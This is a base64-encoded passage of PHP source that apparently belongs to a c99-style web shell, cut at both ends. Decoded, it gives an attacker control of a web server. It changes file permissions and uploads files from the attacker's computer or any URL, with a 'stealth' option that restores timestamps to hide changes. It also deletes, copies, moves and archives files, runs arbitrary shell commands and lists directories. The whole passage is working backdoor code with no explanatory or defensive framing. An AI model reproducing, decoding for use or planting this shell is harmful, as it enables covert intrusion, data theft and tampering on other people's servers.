Q2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsNCiAgfQ0KfQ0KfQ0KaWYgKCR4ID09ICJ1cGxvYWQiKSB7DQogICR1cGxvYWRtZXNzID0gIiI7DQogICR1cGxvYWRwYXRoID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsNCiAgaWYgKGVtcHR5KCR1cGxvYWRwYXRoKSkgeyR1cGxvYWRwYXRoID0gJGQ7fQ0KICBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR1cGxvYWRwYXRoIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgZ2xvYmFsICRfRklMRVM7DQogICAgJHVwbG9hZGZpbGUgPSAkX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpIHsNCiAgICAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07fQ0KICAgICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQ0KICAgICAgaWYgKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0sJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ICR1cGxvYWRtZXNzIC49ICJGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSE8YnI+Ii4kdXBsb2FkcGF0aC4kZGVzdGluOyB9DQogICAgfQ0KICAgIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKSB7DQogICAgICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7DQogICAgICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgICAgICBpZiAoZW1wdHkoJGRlc3RpbikpIHsNCiAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgJGIgPSAiIjsNCiAgICAgICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4kZGVzdGluKSkgew0KICAgICAgICAgICAgaWYgKCRpID4gMCkgeyRiID0gIl8iLiRpO30NCiAgICAgICAgICAgICRkZXN0aW4gPSAidXBsb2FkIi4kYjsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29ycmVjdCBVUkwhPC9iPiI7fQ0KICAgICAgZWxzZSB7DQogICAgICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkdXJsKTsNCiAgICAgICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOw0KICAgICAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlISI7fQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7DQogICAgICAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICAgICAgICAkdXBsb2FkbWVzcyAuPSAiRmlsZSBzYXZlZCBmcm9tICIuJHVwbG9hZHVybC4iICEiOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiTm8gZmlsZSB0byB1cGxvYWQhIjsgfQ0KICB9DQogIGlmICgkbWluaWZvcm0pIHsNCiAgICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNzLiI8L2I+IjsNCiAgICAkeCA9ICJscyI7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPHRhYmxlPjx0cj48dGQgY29sc3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iLg0KICAgICAgICAgIi46IEZpbGUgVXBsb2FkIDouPC90ZD4iLg0KICAgICAgICAgIjx0ZCBjb2xzcGFuPTI+Ii4kdXBsb2FkbWVzcy4iPC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuIng9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9UE9TVD4iLg0KICAgICAgICAgIkZyb20gWW91ciBDb21wdXRlcjo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+RnJvbSBVUkw6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPlRhcmdldCBEaXJlY3Rvcnk6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5UYXJnZXQgRmlsZSBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiBDb252ZXJ0IGZpbGUgbmFtZSB0byBsb3dlcmNhc2U8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlVwbG9hZFwiPiIuDQogICAgICAgICAiPC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkeCA9PSAiZGVsZXRlIikgew0KICAkZGVsZXJyID0gIiI7DQogIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpIHsNCiAgICAkcmVzdWx0ID0gRkFMU0U7DQogICAgJHJlc3VsdCA9IGZzX3Jtb2JqKCR2KTsNCiAgICBpZiAoISRyZXN1bHQpIHskZGVsZXJyIC49ICJDYW4ndCBkZWxldGUgIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iPGJyPiI7fQ0KICB9DQogIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9DQogICR4ID0gImxzIjsNCn0NCmlmICghJHVzZWZzYnVmZikgew0KICBpZiAoKCR4ID09ICJwYXN0ZSIpIG9yICgkeCA9PSAiY29weSIpIG9yICgkeCA9PSAiY3V0Iikgb3IgKCR4ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2Vmc2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fQ0KfQ0KZWxzZSB7DQogIGlmICgkeCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjsgfQ0KICBlbHNlaWYgKCR4ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9DQogIGVsc2VpZiAoJHggPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7fQ0KICBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgICB9DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RhcmNidWZmKSB7DQogICAgJGFyY2VyciA9ICIiOw0KICAgIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAgICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOw0KICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KSB7DQogICAgICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICAgICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICAgICBpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgICR2IC49ICIqIjsNCiAgICAgIH0NCiAgICAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgICB9DQogICAgJHRtcCA9IHJlYWxwYXRoKCIuIik7DQogICAgY2hkaXIoJGQpOw0KICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogICAgY2hkaXIoJHRtcCk7DQogICAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOw0KICAgICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJGFyY2VycikpIHtlY2hvICI8Yj5BcmNoaXZhdGlvbiBlcnJvcnM6PC9iPjxicj4iLiRhcmNlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICAgIH0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgICAkeCA9ICJscyI7DQogIH0NCn0NCmlmICgkeCA9PSAiY21kIikgew0KICBAY2hkaXIoJGNoZGlyKTsNCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFJlc3VsdCBvZiBDb21tYW5kIEV4ZWN1dGlvbiA6LjwvZGl2PiI7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgIGlmICgkY21kX3R4dCkgew0KICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsgfQ0KICAgICAgaWYgKCRtc2llKSB7ICRjb2xzID0gMTEzOyB9DQogICAgICBlbHNlIHsgJGNvbHMgPSAxMTc7fQ0KICAgICAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3ByZT48L2Rpdj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgICBAY2hkaXIoJG9sZGRpcik7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPGI+Q29tbWFuZCBFeGVjdXRpb248L2I+IjsNCiAgICBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO30NCiAgfQ0KfQ0KaWYgKCR4ID09ICJscyIpIHsNCiAgaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyAkbGlzdCA9ICRsc19hcnI7IH0NCiAgZWxzZSB7DQogICAgJGxpc3QgPSBhcnJheSgpOw0KICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkgew0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30NCiAgZWxzZSB7DQogICAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAgICR2ZCA9ICJmIjsgDQogICAgaWYgKCR2ZCA9PSAiZiIpIHsNCiAgICAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkbGlzdCBhcyAkdikgew0KICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkNVUkRJUiI7fQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIlVQRElSIjt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAgICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7DQogICAgICAgICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICAgICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+RGF0ZSBNb2RpZmllZDwvYj4iOw0KICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAgICAkeSA9ICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICRyb3dbJGtdIC49ICR5Ow0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPiIuJHJvd1skaV0uIjwvYT4iO30NCiAgICAgIH0NCiAgICAgICR2ID0gJHBhcnNlc29ydFswXTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICAgICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKSB7DQogICAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOw0KICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgfQ0KICAgICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJm